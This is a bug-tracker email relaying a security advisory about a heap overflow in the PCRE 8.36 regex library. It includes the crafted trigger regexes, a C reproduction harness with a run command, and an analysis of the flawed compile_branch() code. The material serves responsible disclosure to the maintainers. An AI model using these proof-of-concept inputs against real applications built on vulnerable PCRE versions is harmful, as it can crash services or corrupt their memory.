------- You are receiving this mail because: -------
You are on the CC list for the bug.
http://bugs.exim.org/show_bug.cgi?id=1591
Summary: PCRE Library Heap Overflow Vulnerability
Product: PCRE
Version: 8.36
Platform: All
OS/Version: All
Status: NEW
Severity: security
Priority: high
Component: Code
AssignedTo: ph10@???
ReportedBy: secresearch@???
CC: pcre-dev@???
PCRE Library Heap Overflow Vulnerability
------------------------------------------------------------------------
Summary
PCRE library is prone to a heap overflow vulnerability. Due to insufficient
bounds checking inside compile_branch(), the heap memory could be overflowed
via a crafted regular expression. Since PCRE library is widely used, this
vulnerability should affect many applications using it. An attacker may exploit
this issue to execute arbitrary code in the context of the user running the
affected application.
------------------------------------------------------------------------
Description
PCRE is a regular expression C library inspired by the regular expression
capabilities in the Perl programming language. The PCRE library is incorporated
into a number of prominent programs, such as Adobe Flash, Apache Web Server,
Nginx Web Server, MongoDB, MariaDB, PHP. The latest version of PCRE is prone to
a heap overflow vulnerability which could be triggered by the following regular
expression.
"((?2){0,1999}?(b(?2)c)){0,2}"
The simplest PoC is "((?2){0,1999}())?"
To reproduce the issue, you could use the following C code:
#define PCRE_STATIC
#include "pcre.h"
#include <stdio.h>
#include <string.h>
#define OVECCOUNT 30
int main(int argc, char* argv[])
{
pcre *re;
const char *error;
int erroffset;
int ovector[OVECCOUNT];
int rc;
if (argc != 3){
printf("Two arguments required: a regex and a subject
string.\n");
return -1;
}
re = pcre_compile(argv[1], 0, &error, &erroffset, NULL);
if (re == NULL){
printf("PCRE compilation failed at offset %d:
%s.\n",erroffset,error);
}
rc = pcre_exec(re, NULL, argv[2], (int)strlen(argv[2]), 0, 0, ovector,
OVECCOUNT);
if (rc < 0){
switch (rc){
case PCRE_ERROR_NOMATCH:printf("No match.\n"); break;
default: printf("Matching error %d.\n", rc); break;
}
return -1;
}
return 0;
}
Compile it as main.exe, then run it as follows.
main.exe "((?2){0,1999}())?" AAAAAAAAA
------------------------------------------------------------------------
Analysis
In compile_branch() function, the vulnerable snippet code is:
else for (i = repeat_max - 1; i >= 0; i--)
{
pcre_uchar *hc;
pcre_uchar *this_hwm = cd->hwm;
...
...
...
memcpy(code, previous, IN_UCHARS(len));
/* Ensure there is enough workspace for forward references before
copying them. */
while (cd->hwm > cd->start_workspace + cd->workspace_size -
WORK_SIZE_SAFETY_MARGIN - (this_hwm - save_hwm))
{
size_t save_offset = save_hwm - cd->start_workspace;
size_t this_offset = this_hwm - cd->start_workspace;
*errorcodeptr = expand_workspace(cd);
if (*errorcodeptr != 0) goto FAILED;
save_hwm = (pcre_uchar *)cd->start_workspace + save_offset;
this_hwm = (pcre_uchar *)cd->start_workspace + this_offset;
}
for (hc = save_hwm; hc < this_hwm; hc += LINK_SIZE)
{
PUT(cd->hwm, 0, GET(hc, 0) + len + ((i != 0)? 2+LINK_SIZE : 1));
cd->hwm += LINK_SIZE;
}
save_hwm = this_hwm;
code += len;
}
...
...
Due to no validity check for the quantifier repeat_max of subroutine reference,
when repeat_max is larger than 1998, it causes that the value of cd->hwm
becomes too large.
Then call adjust_recurse():
*code = OP_END;
adjust_recurse(previous, 2 + LINK_SIZE, utf, cd, save_hwm);
memmove(previous + 2 + LINK_SIZE, previous, IN_UCHARS(len));
code += 2 + LINK_SIZE;
In adjust_recurse() function,
for (hc = save_hwm; hc < cd->hwm; hc += LINK_SIZE)
{
offset = (int)GET(hc, 0); --> Because the value of cd->hwm is too large,
it causes an out-of-bounds read exception.
if (cd->start_code + offset == ptr + 1)
{
PUT(hc, 0, offset + adjust);
break;
}
}
Carefully crafted regular expression may allow attackers to control the EIP and
other heap variables, which could result in code execution. The latest version
of PCRE is tested on Windows 7.
------------------------------------------------------------------------
Type of Vulnerability & Repercussions:
Heap Overflow
------------------------------------------------------------------------
Affected Software:
Latest version of PCRE library (8.36).
Other versions and applications using it may also be affected.
------------------------------------------------------------------------
Credits:
This vulnerability was discovered by Kai Lu of Fortinet's FortiGuard Labs.
--
Configure bugmail:
http://bugs.exim.org/userprefs.cgi?tab=email